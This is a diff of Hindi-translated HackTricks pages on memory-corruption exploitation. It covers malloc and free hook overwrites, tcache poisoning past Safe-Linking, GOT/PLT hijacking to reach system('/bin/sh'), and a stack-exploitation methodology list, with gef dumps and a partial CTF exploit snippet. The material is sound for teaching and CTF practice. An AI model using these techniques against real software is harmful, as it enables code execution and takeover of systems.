आप [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) पर देख सकते हैं, **`__malloc_hook`** एक पॉइंटर है जो **एक फ़ंक्शन के पते की ओर इशारा करता है जिसे तब कॉल किया जाएगा** जब भी `malloc()` को कॉल किया जाता है **जो libc लाइब्रेरी के डेटा सेक्शन में संग्रहीत होता है**। इसलिए, यदि इस पते को एक **One Gadget** से ओवरराइट किया जाता है और `malloc` को कॉल किया जाता है, तो **One Gadget को कॉल किया जाएगा**। +जैसा कि आप [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) पर देख सकते हैं, **`__malloc_hook`** एक पॉइंटर है जो **एक फ़ंक्शन के पते की ओर इशारा करता है जिसे `malloc()` के कॉल होने पर बुलाया जाएगा** **libc लाइब्रेरी के डेटा सेक्शन में संग्रहीत**। इसलिए, यदि इस पते को एक **One Gadget** से ओवरराइट किया जाता है और `malloc` को कॉल किया जाता है, तो **One Gadget को बुलाया जाएगा**। -`malloc` को कॉल करने के लिए, प्रोग्राम के इसे कॉल करने का इंतजार करना संभव है या **`printf("%10000$c")`** को कॉल करके, जो बहुत सारे बाइट्स आवंटित करता है जिससे `libc` `malloc` को उन्हें हीप में आवंटित करने के लिए कॉल करता है। +`malloc` को कॉल करने के लिए, प्रोग्राम के इसे कॉल करने का इंतज़ार करना या **`printf("%10000$c")** को कॉल करना संभव है, जो बहुत सारे बाइट्स आवंटित करता है जिससे `libc` `malloc` को हीप में उन्हें आवंटित करने के लिए कॉल करता है। One Gadget के बारे में अधिक जानकारी के लिए: @@ -19,13 +19,13 @@ One Gadget के बारे में अधिक जानकारी क ## Free Hook -इसका दुरुपयोग एक उदाहरण में किया गया था जो एक तेज़ बिन हमले का दुरुपयोग करने के बाद एक अनसॉर्टेड बिन हमले का दुरुपयोग करता है: +इसका दुरुपयोग एक उदाहरण में किया गया था जो एक तेज़ बिन हमले का दुरुपयोग करता है, एक असंरचित बिन हमले के बाद: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} -यदि बाइनरी में प्रतीक हैं तो `__free_hook` का पता लगाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है: +यदि बाइनरी में प्रतीक हैं, तो `__free_hook` का पता लगाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है: ```bash gef➤ p &__free_hook ``` @@ -38,16 +38,16 @@ gef➤ p &__free_hook 0xf75dedcc : sub esp,0x8 0xf75dedcf : mov eax,DWORD PTR [ebx-0x98] 0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10] -0xf75dedd9 : mov eax,DWORD PTR [eax]--- BREAK HERE +0xf75dedd9 : mov eax,DWORD PTR [eax]--- यहाँ ब्रेक करें 0xf75deddb : test eax,eax ;< 0xf75deddd : jne 0xf75dee50 -उपरोक्त कोड में उल्लिखित ब्रेक में `$eax` में फ्री हुक का पता स्थित होगा। +पिछले कोड में उल्लिखित ब्रेक में `$eax` में फ्री हुक का पता स्थित होगा। अब एक **फास्ट बिन अटैक** किया जाता है: -- सबसे पहले यह पता लगाया गया है कि **`__free_hook`** स्थान पर **200** आकार के फास्ट **चंक्स** के साथ काम करना संभव है: +- सबसे पहले यह पता लगाया जाता है कि **`__free_hook`** स्थान पर **200** आकार के फास्ट **चंक्स** के साथ काम करना संभव है: -
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -56,24 +56,24 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
-- यदि हम इस स्थान पर 0x200 आकार का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित किया जाएगा। -- इसके लिए, `0xfc` आकार का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ मर्ज की गई फ़ंक्शन को दो बार कॉल किया जाता है, इस तरह हम फास्ट बिन में `0xfc*2 = 0x1f8` आकार के एक मुक्त चंक का पॉइंटर प्राप्त करते हैं। -- फिर, इस चंक में संपादित फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इंगित किया जा सके। -- फिर, `0x1f8` आकार का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके, ताकि **`__free_hook`** में एक फास्ट बिन चंक प्राप्त करने के लिए `0x1f8` आकार का एक और चंक बनाया जा सके, जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया जाता है। -- और अंत में, `/bin/sh\x00` स्ट्रिंग वाला एक चंक मुक्त किया जाता है, डिलीट फ़ंक्शन को कॉल करके, **`__free_hook`** फ़ंक्शन को ट्रिगर करता है जो सिस्टम को `/bin/sh\x00` को पैरामीटर के रूप में इंगित करता है। +- यदि हम इस स्थान पर आकार 0x200 का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित होगा। +- इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ दो बार मर्ज की गई फ़ंक्शन को कॉल किया जाता है, इस तरह हम फास्ट बिन में आकार `0xfc*2 = 0x1f8` के एक मुक्त चंक का पॉइंटर प्राप्त करते हैं। +- फिर, इस चंक में संपादन फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इंगित किया जा सके। +- फिर, आकार `0x1f8` का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके, ताकि आकार `0x1f8` का एक और चंक बनाया जा सके जो **`__free_hook`** में एक फास्ट बिन चंक प्राप्त करे जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया जाता है। +- और अंत में, एक चंक जिसमें स्ट्रिंग `/bin/sh\x00` है, को डिलीट फ़ंक्शन को कॉल करके मुक्त किया जाता है, जो **`__free_hook`** फ़ंक्शन को ट्रिगर करता है जो `/bin/sh\x00` को पैरामीटर के रूप में सिस्टम की ओर इंगित करता है। --- -## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33) +## Tcache विषाक्तता & सुरक्षित-लिंकिंग (glibc 2.32 – 2.33) -glibc 2.32 ने **Safe-Linking** पेश किया - एक अखंडता-चेक जो **tcache** और फास्ट-बिन द्वारा उपयोग किए जाने वाले *सिंगल*-लिंक्ड सूचियों की सुरक्षा करता है। कच्चे फॉरवर्ड पॉइंटर (`fd`) को स्टोर करने के बजाय, ptmalloc अब इसे निम्नलिखित मैक्रो के साथ *अज्ञात* रूप में स्टोर करता है: +glibc 2.32 ने **सुरक्षित-लिंकिंग** पेश किया - एक अखंडता-चेक जो **tcache** और फास्ट-बिन द्वारा उपयोग किए जाने वाले *एकल*-लिंकित सूचियों की रक्षा करता है। कच्चे फॉरवर्ड पॉइंटर (`fd`) को स्टोर करने के बजाय, ptmalloc अब इसे निम्नलिखित मैक्रो के साथ *गुप्त* रूप से स्टोर करता है: ```c #define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) #define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr) ``` शोषण के परिणाम: -1. एक **heap leak** अनिवार्य है - हमलावर को एक मान्य अस्पष्ट पॉइंटर बनाने के लिए `chunk_addr >> 12` का रनटाइम मान जानना चाहिए। +1. एक **heap leak** अनिवार्य है - हमलावर को एक मान्य छिपा हुआ पॉइंटर बनाने के लिए `chunk_addr >> 12` का रनटाइम मान जानना चाहिए। 2. केवल *पूर्ण* 8-बाइट पॉइंटर को ही बनाया जा सकता है; एकल-बाइट आंशिक ओवरराइट चेक पास नहीं करेगा। इसलिए, glibc 2.32/2.33 पर `__free_hook` को ओवरराइट करने के लिए एक न्यूनतम tcache-poisoning प्राइमिटिव इस प्रकार दिखता है: @@ -111,25 +111,25 @@ bin_sh = malloc(0x48) edit(bin_sh, b"/bin/sh\x00") free(bin_sh) ``` -The snippet above was adapted from recent CTF challenges such as *UIUCTF 2024 – «Rusty Pointers»* and *openECSC 2023 – «Babyheap G»*, both of which relied on Safe-Linking bypasses to overwrite `__free_hook`. +उपरोक्त स्निपेट हाल के CTF चुनौतियों से अनुकूलित किया गया था जैसे कि *UIUCTF 2024 – «Rusty Pointers»* और *openECSC 2023 – «Babyheap G»*, जिनमें से दोनों ने `__free_hook` को ओवरराइट करने के लिए Safe-Linking बायपास पर निर्भर किया। --- -## What changed in glibc ≥ 2.34? +## glibc ≥ 2.34 में क्या बदला? -Starting with **glibc 2.34 (August 2021)** the allocation hooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` and `__free_hook` were **public API से हटा दिए गए हैं और अब आवंटक द्वारा नहीं बुलाए जाते**। संगतता प्रतीक अभी भी विरासती बाइनरी के लिए निर्यात किए जाते हैं, लेकिन उन्हें ओवरराइट करना अब `malloc()` या `free()` के नियंत्रण प्रवाह को प्रभावित नहीं करता है। +**glibc 2.34 (अगस्त 2021)** से शुरू होकर आवंटन हुक `__malloc_hook`, `__realloc_hook`, `__memalign_hook` और `__free_hook` को **सार्वजनिक API से हटा दिया गया है और अब आवंटक द्वारा इनका आह्वान नहीं किया जाता है**। संगतता प्रतीक अभी भी विरासती बाइनरी के लिए निर्यात किए जाते हैं, लेकिन इन्हें ओवरराइट करने से `malloc()` या `free()` के नियंत्रण प्रवाह पर अब कोई प्रभाव नहीं पड़ता। -व्यावहारिक प्रभाव: आधुनिक वितरणों (Ubuntu 22.04+, Fedora 35+, Debian 12, आदि) पर आपको *अन्य* हाईजैक प्राइमिटिव (IO-FILE, `__run_exit_handlers`, vtable spraying, आदि) पर स्विच करना होगा क्योंकि हुक ओवरराइट चुपचाप विफल हो जाएंगे। +व्यावहारिक प्रभाव: आधुनिक वितरणों (Ubuntu 22.04+, Fedora 35+, Debian 12, आदि) पर, आपको *अन्य* हाईजैक प्राइमिटिव (IO-FILE, `__run_exit_handlers`, vtable spraying, आदि) पर स्विच करना होगा क्योंकि हुक ओवरराइट चुपचाप विफल हो जाएंगे। यदि आपको अभी भी डिबगिंग के लिए पुरानी कार्यप्रणाली की आवश्यकता है, तो glibc `libc_malloc_debug.so` प्रदान करता है जिसे पूर्व-लोड किया जा सकता है ताकि विरासती हुक फिर से सक्षम हो सकें - लेकिन यह पुस्तकालय **उत्पादन के लिए नहीं है और भविष्य के रिलीज़ में गायब हो सकता है**। --- -## References +## संदर्भ - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). -- Safe-Linking – Eliminating a 20 year-old malloc() exploit primitive (Check Point Research, 2020) -- glibc 2.34 release notes – removal of malloc hooks +- Safe-Linking – 20 साल पुराने malloc() एक्सप्लॉइट प्राइमिटिव को समाप्त करना (चेक प्वाइंट रिसर्च, 2020) +- glibc 2.34 रिलीज़ नोट्स – malloc हुक का हटाना {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index ce8005047..548c7a95d 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -8,23 +8,23 @@ **ग्लोबल ऑफसेट टेबल (GOT)** एक तंत्र है जो गतिशील रूप से लिंक किए गए बाइनरी में **बाहरी कार्यों के पते** को प्रबंधित करने के लिए उपयोग किया जाता है। चूंकि ये **पते रनटाइम तक ज्ञात नहीं होते** (गतिशील लिंकिंग के कारण), GOT एक तरीका प्रदान करता है जिससे **इन बाहरी प्रतीकों के पते को गतिशील रूप से अपडेट किया जा सके** जब वे हल हो जाते हैं। -GOT में प्रत्येक प्रविष्टि उस प्रतीक से संबंधित होती है जो बाहरी पुस्तकालयों में हो सकती है जिसे बाइनरी कॉल कर सकता है। जब एक **कार्य पहली बार कॉल किया जाता है, तो इसका वास्तविक पता गतिशील लिंकर्स द्वारा हल किया जाता है और GOT में संग्रहीत किया जाता है**। उसी कार्य को बाद में कॉल करने पर GOT में संग्रहीत पते का उपयोग किया जाता है, जिससे फिर से पते को हल करने का ओवरहेड बचता है। +GOT में प्रत्येक प्रविष्टि उस बाहरी पुस्तकालय में एक प्रतीक के अनुरूप होती है जिसे बाइनरी कॉल कर सकता है। जब एक **कार्य को पहली बार कॉल किया जाता है, तो इसका वास्तविक पता गतिशील लिंकर द्वारा हल किया जाता है और GOT में संग्रहीत किया जाता है**। उसी कार्य को बाद में कॉल करने पर GOT में संग्रहीत पते का उपयोग किया जाता है, जिससे फिर से पते को हल करने का ओवरहेड बचता है। ### **PLT: प्रक्रिया लिंक टेबल** -**प्रक्रिया लिंक टेबल (PLT)** GOT के साथ निकटता से काम करता है और बाहरी कार्यों को कॉल करने के लिए एक ट्रम्पोलिन के रूप में कार्य करता है। जब एक बाइनरी **पहली बार एक बाहरी कार्य को कॉल करता है, तो नियंत्रण उस कार्य से संबंधित PLT में एक प्रविष्टि को सौंपा जाता है**। यह PLT प्रविष्टि गतिशील लिंकर्स को कार्य के पते को हल करने के लिए बुलाने के लिए जिम्मेदार होती है यदि इसे पहले से हल नहीं किया गया है। पते के हल होने के बाद, इसे **GOT** में संग्रहीत किया जाता है। +**प्रक्रिया लिंक टेबल (PLT)** GOT के साथ निकटता से काम करता है और बाहरी कार्यों को कॉल करने के लिए एक ट्रम्पोलिन के रूप में कार्य करता है। जब एक बाइनरी **पहली बार एक बाहरी कार्य को कॉल करता है, तो नियंत्रण उस कार्य से संबंधित PLT में एक प्रविष्टि को सौंपा जाता है**। यह PLT प्रविष्टि उस कार्य के पते को हल करने के लिए गतिशील लिंकर को सक्रिय करने के लिए जिम्मेदार होती है यदि इसे पहले से हल नहीं किया गया है। पते के हल होने के बाद, इसे **GOT** में संग्रहीत किया जाता है। -**इसलिए,** GOT प्रविष्टियों का उपयोग सीधे तब किया जाता है जब एक बाहरी कार्य या चर का पता हल हो जाता है। **PLT प्रविष्टियों का उपयोग इन पते को गतिशील लिंकर्स के माध्यम से प्रारंभिक समाधान को सुविधाजनक बनाने के लिए किया जाता है।** +**इसलिए,** GOT प्रविष्टियाँ सीधे उपयोग की जाती हैं जब एक बाहरी कार्य या चर का पता हल हो जाता है। **PLT प्रविष्टियाँ इन पते को गतिशील लिंकर के माध्यम से प्रारंभिक समाधान को सुविधाजनक बनाने के लिए उपयोग की जाती हैं।** ## निष्पादन प्राप्त करें ### GOT की जांच करें -GOT तालिका का पता प्राप्त करने के लिए: **`objdump -s -j .got ./exec`** +GOT तालिका का पता प्राप्त करें: **`objdump -s -j .got ./exec`** ![](<../../images/image (121).png>) -देखें कि **GEF** में **कार्यकारी** को **लोड** करने के बाद आप **GOT** में **कार्य** कैसे **देख सकते हैं**: `gef➤ x/20x 0xADDR_GOT` +देखें कि **GEF** में **कार्यकारी** को **लोड करने के बाद** आप **GOT** में **कार्य** देख सकते हैं: `gef➤ x/20x 0xADDR_GOT` ![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) @@ -38,9 +38,9 @@ GEF का उपयोग करके आप **डिबगिंग** सत आदर्श रूप से, आप उस **कार्य** के **GOT** को **ओवरराइड** करेंगे जिसे **आपके द्वारा नियंत्रित पैरामीटर के साथ कॉल किया जाएगा** (ताकि आप सिस्टम कार्य को भेजे गए पैरामीटर को नियंत्रित कर सकें)। -यदि **`system`** **बाइनरी द्वारा उपयोग नहीं किया गया है**, तो सिस्टम कार्य का **PLT में** कोई प्रविष्टि नहीं होगी। इस परिदृश्य में, आपको पहले **`system`** कार्य का पता लीक करना होगा और फिर GOT को इस पते की ओर इंगित करने के लिए ओवरराइड करना होगा। +यदि **`system`** **बाइनरी द्वारा उपयोग नहीं किया गया है**, तो सिस्टम कार्य का **PLT में कोई प्रविष्टि नहीं होगी**। इस परिदृश्य में, आपको पहले `system` कार्य का पता लीक करना होगा और फिर GOT को इस पते की ओर इंगित करने के लिए ओवरराइड करना होगा। -आप PLT पते देख सकते हैं **`objdump -j .plt -d ./vuln_binary`** के साथ। +आप PLT पते देख सकते हैं **`objdump -j .plt -d ./vuln_binary`** ## libc GOT प्रविष्टियाँ @@ -52,21 +52,22 @@ libc के सामान्य कार्य **अन्य आंतरि ### **Free2system** -हीप शोषण CTFs में यह सामान्य है कि चंक्स की सामग्री को नियंत्रित किया जा सके और किसी बिंदु पर GOT तालिका को भी ओवरराइड किया जा सके। यदि एक गैजेट उपलब्ध नहीं है तो RCE प्राप्त करने के लिए एक सरल चाल `free` GOT पते को `system` की ओर इंगित करना और एक चंक में `"/bin/sh"` लिखना है। इस तरह जब इस चंक को मुक्त किया जाएगा, यह `system("/bin/sh")` को निष्पादित करेगा। +हीप शोषण CTFs में यह सामान्य है कि चंक्स की सामग्री को नियंत्रित किया जा सके और किसी बिंदु पर GOT तालिका को भी ओवरराइड किया जा सके। यदि एक गैजेट उपलब्ध नहीं है तो RCE प्राप्त करने के लिए एक सरल चाल `free` GOT पते को `system` की ओर इंगित करना और एक चंक में `"/bin/sh"` लिखना है। इस तरह जब इस चंक को मुक्त किया जाएगा, तो यह `system("/bin/sh")` को निष्पादित करेगा। ### **Strlen2system** -एक और सामान्य तकनीक **`strlen`** GOT पते को **`system`** की ओर इंगित करना है, ताकि यदि इस कार्य को उपयोगकर्ता इनपुट के साथ कॉल किया जाता है तो यह संभव हो कि स्ट्रिंग `"/bin/sh"` पास की जाए और एक शेल प्राप्त किया जा सके। +एक और सामान्य तकनीक है **`strlen`** GOT पते को **`system`** की ओर इंगित करना, ताकि यदि इस कार्य को उपयोगकर्ता इनपुट के साथ कॉल किया जाता है तो यह संभव है कि स्ट्रिंग `"/bin/sh"` पास की जाए और एक शेल प्राप्त किया जा सके। इसके अलावा, यदि `puts` का उपयोग उपयोगकर्ता इनपुट के साथ किया जाता है, तो `strlen` GOT पते को `system` की ओर इंगित करने के लिए ओवरराइड करना संभव है और स्ट्रिंग `"/bin/sh"` पास करना संभव है ताकि एक शेल प्राप्त किया जा सके क्योंकि **`puts` उपयोगकर्ता इनपुट के साथ `strlen` को कॉल करेगा**। ## **One Gadget** + {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **Heap से GOT का दुरुपयोग** +## **हीप से GOT का दुरुपयोग करना** हीप भेद्यता से RCE प्राप्त करने का एक सामान्य तरीका एक फास्टबिन का दुरुपयोग करना है ताकि GOT तालिका के भाग को फास्ट बिन में जोड़ा जा सके, ताकि जब भी उस चंक को आवंटित किया जाएगा, यह **एक कार्य के पते को ओवरराइड करना संभव होगा, आमतौर पर `free`**।\ फिर, `free` को `system` की ओर इंगित करना और एक चंक को मुक्त करना जहाँ `/bin/sh\x00` लिखा गया था, एक शेल को निष्पादित करेगा। @@ -77,6 +78,7 @@ libc के सामान्य कार्य **अन्य आंतरि **पूर्ण RELRO** सुरक्षा इस प्रकार की तकनीक के खिलाफ सुरक्षा के लिए बनाई गई है, सभी कार्यों के पते को बाइनरी शुरू होने पर हल करके और इसके बाद **GOT तालिका को केवल पढ़ने योग्य** बनाकर: + {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index 22ad07d58..603863948 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -27,12 +27,12 @@ tools/ - [**Stack Overflows**](../stack-overflow/index.html) स्टैक से रिटर्न पॉइंटर या EBP -> ESP -> EIP को ओवरराइट करना। - ओवरफ्लो उत्पन्न करने के लिए [**Integer Overflows**](../integer-overflow.md) का दुरुपयोग करना पड़ सकता है। - या **Arbitrary Writes + Write What Where to Execution** के माध्यम से। -- [**Format strings**](../format-strings/index.html)**:** `printf` का दुरुपयोग करके मनमाने पते पर मनमानी सामग्री लिखना। +- [**Format strings**](../format-strings/index.html)**:** `printf` का दुरुपयोग करके मनमाने पते पर मनमाना सामग्री लिखना। - [**Array Indexing**](../array-indexing.md): कुछ ऐरे को नियंत्रित करने और एक मनमाना लिखने के लिए खराब डिज़ाइन की गई इंडेक्सिंग का दुरुपयोग करना। - ओवरफ्लो उत्पन्न करने के लिए [**Integer Overflows**](../integer-overflow.md) का दुरुपयोग करना पड़ सकता है। - **bof to WWW via ROP**: एक बफर ओवरफ्लो का दुरुपयोग करके एक ROP का निर्माण करना और WWW प्राप्त करना। -आप **Write What Where to Execution** तकनीकों को पा सकते हैं: +आप **Write What Where to Execution** तकनीकों को यहाँ पा सकते हैं: {{#ref}} ../arbitrary-write-2-exec/ @@ -40,27 +40,27 @@ tools/ ## Eternal Loops -ध्यान में रखने वाली एक बात यह है कि आमतौर पर **एक ही भेद्यता का शोषण सफल शोषण के लिए पर्याप्त नहीं हो सकता है**, विशेष रूप से कुछ सुरक्षा को बायपास करने की आवश्यकता होती है। इसलिए, यह दिलचस्प है कि **एकल भेद्यता को एक ही बाइनरी के निष्पादन में कई बार शोषण करने योग्य बनाने के लिए कुछ विकल्पों पर चर्चा करें**: +ध्यान में रखने वाली एक बात यह है कि आमतौर पर **एक ही भेद्यता का शोषण सफल शोषण के लिए पर्याप्त नहीं हो सकता है**, विशेष रूप से कुछ सुरक्षा को बायपास करने की आवश्यकता होती है। इसलिए, यह दिलचस्प है कि **एकल भेद्यता को एक ही बाइनरी के निष्पादन में कई बार शोषण करने के लिए कुछ विकल्पों पर चर्चा करें**: -- **`main` फ़ंक्शन** का पता या उस पते को लिखें जहां **भेद्यता** हो रही है। +- **`main` फ़ंक्शन** का पता या उस पते को लिखें जहाँ **भेद्यता** हो रही है। - एक उचित ROP श्रृंखला को नियंत्रित करके, आप उस श्रृंखला में सभी क्रियाएँ करने में सक्षम हो सकते हैं। -- **`exit` GOT में पते पर लिखें** (या किसी अन्य फ़ंक्शन का उपयोग बाइनरी द्वारा समाप्त होने से पहले) पता वापस जाने के लिए **भेद्यता**। -- जैसा कि [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)** में समझाया गया है,** यहां 2 फ़ंक्शन स्टोर करें, एक बार फिर vuln को कॉल करने के लिए और दूसरा **`__libc_csu_fini`** को कॉल करने के लिए जो फिर से `.fini_array` से फ़ंक्शन को कॉल करेगा। +- **`exit` पते को GOT** (या बाइनरी द्वारा समाप्त होने से पहले उपयोग किए जाने वाले किसी अन्य फ़ंक्शन) में उस पते को लिखें जिससे **भेद्यता** पर वापस जा सकें। +- जैसा कि [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)** में समझाया गया है,** यहाँ 2 फ़ंक्शन स्टोर करें, एक फिर से vuln को कॉल करने के लिए और दूसरा **`__libc_csu_fini`** को कॉल करने के लिए जो फिर से `.fini_array` से फ़ंक्शन को कॉल करेगा। ## Exploitation Goals ### Goal: Call an Existing function - [**ret2win**](#ret2win): कोड में एक फ़ंक्शन है जिसे आपको कॉल करना है (शायद कुछ विशिष्ट पैरामीटर के साथ) ताकि फ्लैग प्राप्त किया जा सके। -- एक **सामान्य bof बिना** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **और** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) आपको बस स्टैक में स्टोर किए गए रिटर्न पते में पता लिखने की आवश्यकता है। -- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) के साथ एक bof में, आपको इसे बायपास करने की आवश्यकता होगी। -- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) के साथ एक bof में, आपको इसे बायपास करने की आवश्यकता होगी। +- एक **नियमित bof बिना** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **और** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) आपको बस स्टैक में स्टोर किए गए रिटर्न पते में पता लिखने की आवश्यकता है। +- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) के साथ bof में, आपको इसे बायपास करने की आवश्यकता होगी। +- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) के साथ bof में, आपको इसे बायपास करने की आवश्यकता होगी। - यदि आपको **ret2win** फ़ंक्शन को सही ढंग से कॉल करने के लिए कई पैरामीटर सेट करने की आवश्यकता है, तो आप उपयोग कर सकते हैं: -- यदि पर्याप्त गैजेट हैं तो [**ROP**](#rop-and-ret2...-techniques) **श्रृंखला** सभी पैरामीटर तैयार करने के लिए। +- यदि सभी पैरामीटर तैयार करने के लिए पर्याप्त गैजेट्स हैं तो [**ROP**](#rop-and-ret2...-techniques) **श्रृंखला**। - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (यदि आप इस syscall को कॉल कर सकते हैं) बहुत सारे रजिस्टर को नियंत्रित करने के लिए। - [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) और [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) से गैजेट्स कई रजिस्टर को नियंत्रित करने के लिए। -- [**Write What Where**](../arbitrary-write-2-exec/index.html) के माध्यम से आप अन्य भेद्यताओं (bof नहीं) का दुरुपयोग कर सकते हैं ताकि **`win`** फ़ंक्शन को कॉल किया जा सके। -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में किसी फ़ंक्शन के लिए पॉइंटर्स हैं जिसे कॉल किया जाने वाला है या किसी स्ट्रिंग के लिए जो किसी दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग की जाने वाली है, तो उस पते को ओवरराइट करना संभव है। +- [**Write What Where**](../arbitrary-write-2-exec/index.html) के माध्यम से आप अन्य भेद्यताओं (bof नहीं) का दुरुपयोग करके **`win`** फ़ंक्शन को कॉल कर सकते हैं। +- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में किसी फ़ंक्शन के लिए पॉइंटर्स होते हैं जो कॉल किया जाने वाला है या किसी स्ट्रिंग के लिए जो किसी दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग किया जाने वाला है, तो उस पते को ओवरराइट करना संभव है। - [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) या [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) पते को प्रभावित कर सकते हैं। - [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते। @@ -68,16 +68,16 @@ tools/ #### Via shellcode, if nx disabled or mixing shellcode with ROP: -- [**(Stack) Shellcode**](#stack-shellcode): यह स्टैक में एक शेलकोड स्टोर करने के लिए उपयोगी है, रिटर्न पॉइंटर को ओवरराइट करने से पहले या बाद में और फिर **इसे निष्पादित करने के लिए** कूदना: -- किसी भी मामले में, यदि कोई [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)** है,** एक सामान्य bof में आपको इसे बायपास (leak) करने की आवश्यकता होगी। +- [**(Stack) Shellcode**](#stack-shellcode): यह रिटर्न पॉइंटर को ओवरराइट करने के पहले या बाद में स्टैक में एक शेलकोड स्टोर करने के लिए उपयोगी है और फिर **इसे निष्पादित करने के लिए** कूदें: +- किसी भी मामले में, यदि एक [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)** है,** एक नियमित bof में आपको इसे बायपास (leak) करने की आवश्यकता होगी। - **बिना** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) के, स्टैक के पते पर कूदना संभव है क्योंकि यह कभी नहीं बदलेगा। - **साथ में** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) आपको [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) जैसी तकनीकों की आवश्यकता होगी। -- **साथ में** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), आपको कुछ [**ROP**](../rop-return-oriented-programing/index.html) का उपयोग करना होगा **`memprotect`** को कॉल करने के लिए और कुछ पृष्ठ `rwx` बनाने के लिए, ताकि फिर **वहां शेलकोड स्टोर किया जा सके** (उदाहरण के लिए पढ़ें) और फिर वहां कूदें। +- **साथ में** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), आपको कुछ [**ROP**](../rop-return-oriented-programing/index.html) का उपयोग करना होगा **`memprotect`** को कॉल करने के लिए और कुछ पृष्ठ `rwx` बनाने के लिए, ताकि फिर **वहाँ शेलकोड स्टोर किया जा सके** (उदाहरण के लिए पढ़ने के लिए कॉल करना) और फिर वहाँ कूदना। - यह शेलकोड को ROP श्रृंखला के साथ मिलाएगा। #### Via syscalls -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): मनमाने कमांड चलाने के लिए `execve` को कॉल करने के लिए उपयोगी। आपको **विशिष्ट syscall को पैरामीटर के साथ कॉल करने के लिए गैजेट्स खोजने में सक्षम होना चाहिए**। +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): मनमाने 